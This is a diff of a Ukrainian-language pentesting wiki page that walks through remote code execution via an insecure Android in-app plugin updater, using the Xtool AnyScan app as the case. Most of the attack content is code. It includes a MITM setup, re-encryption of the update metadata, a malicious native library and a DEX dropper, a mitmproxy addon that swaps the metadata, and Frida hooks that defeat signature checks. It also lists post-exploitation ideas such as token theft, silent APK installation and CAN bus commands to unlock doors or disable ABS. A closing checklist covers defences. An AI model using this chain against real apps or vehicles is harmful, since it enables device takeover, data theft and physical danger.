diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md index 63e5f45fa..5bf806adb 100644 --- a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -1,16 +1,49 @@ -# Небезпечні механізми оновлення в додатках – віддалене виконання коду через шкідливі плагіни +# Небезпечні механізми in‑app оновлень – Remote Code Execution via Malicious Plugins {{#include ../../banners/hacktricks-training.md}} -Багато Android-додатків реалізують **свої власні канали оновлення “плагінів” або “динамічних функцій”** замість використання Google Play Store. Коли реалізація є небезпечною, зловмисник, здатний перехопити трафік, може постачати **произвольний нативний код, який буде завантажено в процес додатка**, що призводить до повного віддаленого виконання коду (RCE) на пристрої – і в деяких випадках на будь-якому зовнішньому пристрої, контрольованому додатком (автомобілі, IoT, медичні пристрої …). +Багато Android-застосунків реалізують власні канали оновлень “plugin” або “dynamic feature” замість використання Google Play Store. Якщо реалізація ненадійна, атакуючий, який може перехоплювати або підробляти трафік оновлень, може доставити довільний native або Dalvik/ART код, який буде завантажено у процес додатка, що призведе до повного Remote Code Execution (RCE) на пристрої — а в деяких випадках і на будь‑якому зовнішньому пристрої, яким керує додаток (автомобілі, IoT, медичні прилади …). -Ця сторінка підсумовує реальний ланцюг вразливостей, виявлений у додатку для автомобільної діагностики Xtool **AnyScan** (v4.40.11 → 4.40.40) і узагальнює техніку, щоб ви могли перевірити інші Android-додатки та використати неправильну конфігурацію під час участі в червоній команді. +Ця сторінка підсумовує ланцюжок уразливостей у реальному житті, знайдений у Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40), та узагальнює техніку, щоб ви могли аудиту інших Android-застосунків і експлуатувати неправильну конфігурацію під час red-team engagement. --- -## 1. Визначення небезпечного TLS TrustManager +## 0. Quick triage: does the app have an in‑app updater? -1. Декомпілюйте APK за допомогою jadx / apktool і знайдіть стек мережі (OkHttp, HttpUrlConnection, Retrofit…). -2. Шукайте **кастомний `TrustManager`** або `HostnameVerifier`, який сліпо довіряє кожному сертифікату: +Статичні підказки, на які варто звернути увагу в JADX/apktool: +- Рядки: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip". +- Мережеві кінцеві точки, такі як `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`. +- Крипто-утиліти поруч із шляхами оновлення (DES/AES/RC4; Base64; JSON/XML packs). +- Динамічні лоадери: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`. +- Шляхи розпаковки, що записують у внутрішнє сховище додатка або зовнішнє, а потім одразу завантажують `.so`/DEX. + +Хуки під час виконання для підтвердження: +```js +// Frida: log native and dex loading +Java.perform(() => { +const Runtime = Java.use('java.lang.Runtime'); +const SystemJ = Java.use('java.lang.System'); +const DexClassLoader = Java.use('dalvik.system.DexClassLoader'); + +SystemJ.load.overload('java.lang.String').implementation = function(p) { +console.log('[System.load] ' + p); return this.load(p); +}; +SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) { +console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n); +}; +Runtime.load.overload('java.lang.String').implementation = function(p){ +console.log('[Runtime.load] ' + p); return this.load(p); +}; +DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) { +console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`); +return this.$init(dexPath, optDir, libPath, parent); +}; +}); +``` +--- +## 1. Виявлення ненадійного TLS TrustManager + +1. Декомпілюйте APK за допомогою jadx / apktool та знайдіть мережевий стек (OkHttp, HttpUrlConnection, Retrofit…). +2. Шукайте кастомний `TrustManager` або `HostnameVerifier`, який сліпо довіряє всім сертифікатам: ```java public static TrustManager[] buildTrustManagers() { return new TrustManager[]{ @@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} }; } ``` -3. Якщо присутній, програма прийме **будь-який TLS сертифікат** → ви можете запустити прозорий **MITM проксі** з самопідписаним сертифікатом: +3. Якщо є, додаток прийматиме будь-який TLS certificate → ви можете запустити прозорий MITM proxy із self-signed cert: ```bash mitmproxy -p 8080 -s addon.py # see §4 iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator ``` -## 2. Реверс-інжиніринг метаданих оновлення +Якщо TLS pinning застосовано замість небезпечної логіки trust-all, дивіться: -У випадку AnyScan кожен запуск програми викликає HTTPS GET до: +{{#ref}} +android-anti-instrumentation-and-ssl-pinning-bypass.md +{{#endref}} + +{{#ref}} +make-apk-accept-ca-certificate.md +{{#endref}} + +--- +## 2. Зворотне інженерування метаданих оновлення + +У випадку AnyScan кожен запуск додатку виконує HTTPS GET до: ``` https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx ``` -Тіло відповіді є **XML документом**, в якому вузли `` містять **Base64-кодовані, DES-ECB зашифровані** JSON, що описує кожен доступний плагін. +Тіло відповіді — це XML-документ, вузли `` якого містять Base64-encoded, DES-ECB encrypted JSON, що описує кожен доступний plugin. -Типові кроки для пошуку: -1. Знайти криптографічну рутину (наприклад, `RemoteServiceProxy`) і відновити: -* алгоритм (DES / AES / RC4 …) -* режим роботи (ECB / CBC / GCM …) -* зашитий ключ / IV (часто 56-бітні DES ключі або 128-бітні AES ключі в константах) -2. Реалізувати функцію на Python для розшифрування / шифрування метаданих: +Типові кроки пошуку: +1. Знайти crypto routine (наприклад, `RemoteServiceProxy`) і відновити: +- algorithm (DES / AES / RC4 …) +- mode of operation (ECB / CBC / GCM …) +- hard-coded key / IV (commonly 56‑bit DES or 128‑bit AES constants) +2. Реалізувати функцію заново в Python, щоб decrypt / encrypt метадані: ```python from Crypto.Cipher import DES from base64 import b64decode, b64encode @@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str: cipher = DES.new(KEY, DES.MODE_ECB) return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() ``` -## 3. Створіть шкідливий плагін +Нотатки, зафіксовані в реальних випадках (2023–2025): +- Метадані часто представлені JSON-within-XML або protobuf; поширені слабкі шифри та статичні ключі. +- Багато updaters допускають plain HTTP для завантаження фактичного payload, навіть якщо метадані передаються через HTTPS. +- Плагіни часто unzip-уються у app-internal storage; деякі досі використовують external storage або застаріле `requestLegacyExternalStorage`, що дозволяє cross-app tampering. -1. Виберіть будь-який легітимний ZIP плагін і замініть рідну бібліотеку на ваш вантаж: +--- +## 3. Створення зловмисного плагіна + +### 3.1 Шлях до нативної бібліотеки (dlopen/System.load[Library]) + +1. Візьміть будь-який легітимний плагін ZIP і замініть нативну бібліотеку на ваш payload: ```c // libscan_x64.so – constructor runs as soon as the library is loaded __attribute__((constructor)) @@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid( $ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so $ zip -r PWNED.zip libscan_x64.so assets/ meta.txt ``` -2. Оновіть метадані JSON так, щоб `"FileName" : "PWNED.zip"` і `"DownloadURL"` вказували на ваш HTTP сервер. -3. Зашифруйте DES + закодуйте в Base64 змінений JSON і вставте його назад у перехоплений XML. +2. Оновіть метадані JSON так, щоб `"FileName" : "PWNED.zip"` та `"DownloadURL"` вказували на ваш HTTP‑сервер. +3. Перешифруйте та закодуйте змінений JSON у Base64, після чого вставте його назад у перехоплений XML. -## 4. Доставте Payload за допомогою mitmproxy +### 3.2 Шлях плагіна на основі Dex (DexClassLoader) -`addon.py` приклад, який *безшумно* замінює оригінальні метадані: +Деякі додатки завантажують JAR/APK і підвантажують код через `DexClassLoader`. Створіть шкідливий DEX, який запускається при завантаженні: +```java +// src/pwn/Dropper.java +package pwn; +public class Dropper { +static { // runs on class load +try { +Runtime.getRuntime().exec("sh -c 'id > /data/data//files/pwned' "); +} catch (Throwable t) {} +} +} +``` + +```bash +# Compile and package to a DEX jar +javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java +jar cf dropper.jar -C out/ . +d8 --output outdex/ dropper.jar +cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this +``` +Якщо ціль викликає `Class.forName("pwn.Dropper")`, ваш статичний ініціалізатор виконується; інакше рефлективно перераховуйте завантажені класи за допомогою Frida і викликайте експортований метод. + +--- +## 4. Доставити Payload за допомогою mitmproxy + +Приклад `addon.py`, який непомітно замінює оригінальні метадані: ```python from mitmproxy import http MOD_XML = open("fake_metadata.xml", "rb").read() @@ -89,36 +166,69 @@ MOD_XML, {"Content-Type": "text/xml"} ) ``` -Запустіть простий веб-сервер для хостингу шкідливого ZIP: +Запустіть простий веб-сервер для розміщення шкідливого ZIP/JAR: ```bash python3 -m http.server 8000 --directory ./payloads ``` -Коли жертва запускає додаток, він буде: -* отримувати наш підроблений XML через канал MITM; -* розшифровувати та парсити його за допомогою жорстко закодованого DES ключа; -* завантажувати `PWNED.zip` → розпаковувати в приватному сховищі; -* `dlopen()` включену *libscan_x64.so*, миттєво виконуючи наш код **з дозволами додатка** (камера, GPS, Bluetooth, файловий система тощо). +Коли жертва запускає додаток, він: +- завантажить наш підроблений XML через MITM-канал; +- розшифрує й розпарсить його за допомогою захардкоженого crypto; +- завантажить `PWNED.zip` або `plugin.jar` → розпакується в приватному сховищі; +- завантажить включений `.so` або DEX, миттєво виконуючи наш код з правами додатка (камери, GPS, Bluetooth, файлової системи, …). -Оскільки плагін кешується на диску, бекдор **зберігається після перезавантажень** і запускається щоразу, коли користувач вибирає відповідну функцію. - -## 5. Ідеї після експлуатації - -* Вкрасти сесійні куки, токени OAuth або JWT, збережені додатком. -* Скинути APK другого етапу та тихо встановити його через `pm install` (додаток вже має `REQUEST_INSTALL_PACKAGES`). -* Зловживати будь-яким підключеним обладнанням – у сценарії AnyScan ви можете надсилати довільні **OBD-II / CAN bus команди** (відкрити двері, вимкнути ABS тощо). +Оскільки плагін кешується на диску, backdoor зберігається після перезавантажень і запускається щоразу, коли користувач вибирає відповідну функцію. --- -### Перелік виявлення та пом'якшення (синя команда) +## 4.1 Обхід перевірок підпису/hash (коли присутні) -* НІКОЛИ не відправляйте виробничу версію з кастомним TrustManager/HostnameVerifier, який вимикає перевірку сертифікатів. -* Не завантажуйте виконуваний код ззовні Google Play. Якщо ви *повинні*, підписуйте кожен плагін тим самим **apkSigning v2** ключем і перевіряйте підпис перед завантаженням. -* Замініть слабку/жорстко закодовану криптографію на **AES-GCM** та серверний обертовий ключ. -* Перевіряйте цілісність завантажених архівів (підпис або принаймні SHA-256). +Якщо updater перевіряє підписи або hash-и, здійсніть hook verification, щоб завжди приймати attacker content: +```js +// Frida – make java.security.Signature.verify() return true +Java.perform(() => { +const Sig = Java.use('java.security.Signature'); +Sig.verify.overload('[B').implementation = function(a) { return true; }; +}); + +// Less surgical (use only if needed): defeat Arrays.equals() for byte[] +Java.perform(() => { +const Arrays = Java.use('java.util.Arrays'); +Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; }; +}); +``` +Також розгляньте можливість заглушування методів постачальника, таких як `PluginVerifier.verifySignature()`, `checkHash()`, або short‑circuiting логіки контролю оновлень в Java або JNI. --- -## Посилання +## 5. Інші поверхні атаки в updaters (2023–2025) -- [NowSecure – Виявлено віддалене виконання коду в додатку Xtool AnyScan](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) -- [Android – Небезпечні шаблони TrustManager](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) +- Zip Slip path traversal під час розпаковки плагінів: шкідливі записи типу `../../../../data/data//files/target` перезаписують довільні файли. Завжди санітизуйте шляхи записів і використовуйте allow‑lists. +- External storage staging: якщо додаток записує архів у external storage перед завантаженням, будь-який інший додаток може його підмінити. Scoped Storage або внутрішнє сховище додатка цього уникають. +- Cleartext downloads: метадані через HTTPS, але payload через HTTP → простий MITM‑swap. +- Incomplete signature checks: порівнюють лише хеш одного файлу, а не всього архіву; не зв’язують підпис з developer key; приймають будь‑який RSA ключ, присутній в архіві. +- React Native / Web‑based OTA content: якщо native bridges виконують JS з OTA без суворого підписування, можливе довільне виконання коду в контексті додатка (наприклад, insecure CodePush‑like flows). Забезпечте detached update signing і сувору перевірку. + +--- +## 6. Post-Exploitation Ideas + +- Вкрадіть session cookies, OAuth tokens або JWTs, які зберігає додаток. +- Розмістіть second‑stage APK і тихо встановіть його через `pm install`, якщо можливо (деякі додатки вже декларують `REQUEST_INSTALL_PACKAGES`). +- Зловживайте підключеним апаратним забезпеченням – у сценарії AnyScan ви можете відправляти довільні OBD‑II / CAN bus команди (відкрити двері, відключити ABS тощо). + +--- +### Detection & Mitigation Checklist (blue team) + +- Уникайте dynamic code loading і оновлень поза магазином. Віддавайте перевагу Play‑mediated updates. Якщо dynamic plugins є обов’язковими, проєктуйте їх як data‑only bundles і зберігайте виконуваний код в базовому APK. +- Застосовуйте TLS правильно: ніяких custom trust‑all managers; впроваджуйте pinning де можливо і жорстку network security config, яка забороняє cleartext трафік. +- Не завантажуйте виконуваний код з поза Google Play. Якщо необхідно — використовуйте detached update signing (наприклад, Ed25519/RSA) з ключем, що належить розробнику, і перевіряйте перед завантаженням. Прив’язуйте метадані до payload (довжина, хеш, версія) і за замовчуванням відмовляйтеся (fail closed). +- Використовуйте сучасну криптографію (AES‑GCM) з per‑message nonces для метаданих; видаліть hard‑coded keys з клієнтів. +- Перевіряйте цілісність завантажених архівів: перевіряйте підпис, що охоплює кожен файл, або принаймні перевіряйте manifest з SHA‑256 хешами. Відхиляйте додаткові/невідомі файли. +- Зберігайте завантаження в app‑internal storage (або scoped storage на Android 10+) і використовуйте права файлів, які запобігають міждодатківському підміненню. +- Захищайтеся від Zip Slip: нормалізуйте і перевіряйте шляхи записів в zip перед розпаковкою; відкидайте абсолютні шляхи або сегменти `..`. +- Розгляньте Play “Code Transparency”, щоб ви і користувачі могли перевірити, що відвантажений DEX/native код відповідає тому, що ви зібрали (compliments but does not replace APK signing). + +--- +## References + +- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) +- [Android Developers – Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading) {{#include ../../banners/hacktricks-training.md}}